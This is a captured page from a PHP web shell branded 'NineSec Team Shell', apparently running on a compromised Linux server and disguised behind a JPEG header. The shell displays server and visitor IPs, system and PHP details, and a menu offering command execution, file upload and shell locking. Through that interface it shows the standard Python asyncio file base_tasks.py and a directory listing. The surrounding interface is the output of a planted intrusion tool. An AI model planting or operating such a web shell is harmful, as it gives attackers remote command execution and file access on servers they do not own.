�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.130
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /opt/bitninja-python-dojo/embedded/lib/python3.9/asyncio/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //opt/bitninja-python-dojo/embedded/lib/python3.9/asyncio/base_tasks.py
import linecache
import traceback

from . import base_futures
from . import coroutines


def _task_repr_info(task):
    info = base_futures._future_repr_info(task)

    if task._must_cancel:
        # replace status
        info[0] = 'cancelling'

    info.insert(1, 'name=%r' % task.get_name())

    coro = coroutines._format_coroutine(task._coro)
    info.insert(2, f'coro=<{coro}>')

    if task._fut_waiter is not None:
        info.insert(3, f'wait_for={task._fut_waiter!r}')
    return info


def _task_get_stack(task, limit):
    frames = []
    if hasattr(task._coro, 'cr_frame'):
        # case 1: 'async def' coroutines
        f = task._coro.cr_frame
    elif hasattr(task._coro, 'gi_frame'):
        # case 2: legacy coroutines
        f = task._coro.gi_frame
    elif hasattr(task._coro, 'ag_frame'):
        # case 3: async generators
        f = task._coro.ag_frame
    else:
        # case 4: unknown objects
        f = None
    if f is not None:
        while f is not None:
            if limit is not None:
                if limit <= 0:
                    break
                limit -= 1
            frames.append(f)
            f = f.f_back
        frames.reverse()
    elif task._exception is not None:
        tb = task._exception.__traceback__
        while tb is not None:
            if limit is not None:
                if limit <= 0:
                    break
                limit -= 1
            frames.append(tb.tb_frame)
            tb = tb.tb_next
    return frames


def _task_print_stack(task, limit, file):
    extracted_list = []
    checked = set()
    for f in task.get_stack(limit=limit):
        lineno = f.f_lineno
        co = f.f_code
        filename = co.co_filename
        name = co.co_name
        if filename not in checked:
            checked.add(filename)
            linecache.checkcache(filename)
        line = linecache.getline(filename, lineno, f.f_globals)
        extracted_list.append((filename, lineno, name, line))

    exc = task._exception
    if not extracted_list:
        print(f'No stack for {task!r}', file=file)
    elif exc is not None:
        print(f'Traceback for {task!r} (most recent call last):', file=file)
    else:
        print(f'Stack for {task!r} (most recent call last):', file=file)

    traceback.print_list(extracted_list, file=file)
    if exc is not None:
        for line in traceback.format_exception_only(exc.__class__, exc):
            print(line, file=file, end='')

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
February 12 2024 9:08:43
root
0755
__pycache__
--
February 12 2024 9:08:43
root
0755
__init__.py
1.249 KB
December 13 2023 8:49:27
root
0644
__main__.py
3.265 KB
December 13 2023 8:49:27
root
0644
base_events.py
72.054 KB
December 13 2023 8:49:27
root
0644
base_futures.py
2.514 KB
December 13 2023 8:49:27
root
0644
base_subprocess.py
8.636 KB
December 13 2023 8:49:27
root
0644
base_tasks.py
2.409 KB
December 13 2023 8:49:27
root
0644
constants.py
0.867 KB
December 13 2023 8:49:27
root
0644
coroutines.py
8.591 KB
December 13 2023 8:49:27
root
0644
events.py
25.76 KB
December 13 2023 8:49:27
root
0644
exceptions.py
1.595 KB
December 13 2023 8:49:27
root
0644
format_helpers.py
2.348 KB
December 13 2023 8:49:27
root
0644
futures.py
13.689 KB
December 13 2023 8:49:27
root
0644
locks.py
14.599 KB
December 13 2023 8:49:27
root
0644
log.py
0.121 KB
December 13 2023 8:49:27
root
0644
proactor_events.py
31.302 KB
December 13 2023 8:49:27
root
0644
protocols.py
6.969 KB
December 13 2023 8:49:27
root
0644
queues.py
8.087 KB
December 13 2023 8:49:27
root
0644
runners.py
2.075 KB
December 13 2023 8:49:27
root
0644
selector_events.py
38.576 KB
December 13 2023 8:49:27
root
0644
sslproto.py
26.547 KB
December 13 2023 8:49:27
root
0644
staggered.py
5.852 KB
December 13 2023 8:49:27
root
0644
streams.py
26.031 KB
December 13 2023 8:49:27
root
0644
subprocess.py
7.881 KB
December 13 2023 8:49:27
root
0644
tasks.py
33.65 KB
December 13 2023 8:49:27
root
0644
threads.py
0.771 KB
December 13 2023 8:49:27
root
0644
transports.py
10.24 KB
December 13 2023 8:49:27
root
0644
trsock.py
5.738 KB
December 13 2023 8:49:27
root
0644
unix_events.py
50.541 KB
December 13 2023 8:49:27
root
0644
windows_events.py
32.136 KB
December 13 2023 8:49:27
root
0644
windows_utils.py
4.941 KB
December 13 2023 8:49:27
root
0644

NineSec Team - 2022